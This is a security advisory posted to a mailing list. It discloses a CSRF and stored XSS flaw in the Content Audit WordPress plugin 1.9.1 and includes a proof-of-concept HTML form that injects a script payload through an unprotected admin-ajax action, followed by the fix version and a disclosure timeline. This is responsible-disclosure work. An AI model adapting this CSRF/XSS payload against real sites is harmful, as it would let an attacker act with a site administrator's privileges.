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Date: Tue, 26 Sep 2017 17:36:53 +0000
From: dxw Security <>
Subject: [FD] CSRF/XSS in Content Audit allowing an unauthenticated attacker
	to do almost anything an admin can (WordPress plugin)

Software: Content Audit
Version: 1.9.1
Advisory report:
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can

The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages.

Proof of concept

Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least “Pages” for “Audited content types”
Visit a page containing the below HTML
Click submit
Visit http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\">
 <input type=\"text\" name=\"post_ids[]\" value=\"2\">
 <input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">
 <input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\">
 <input type=\"text\" name=\"_content_audit_notes\" value=\"&lt;script>alert(1)&lt;/script>\">
 <input type=\"submit\">

Upgrade to version 1.9.2 or later.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:

Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2017-08-21: Discovered
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published

Discovered by dxw:
Tom Adams
Please visit for more information.

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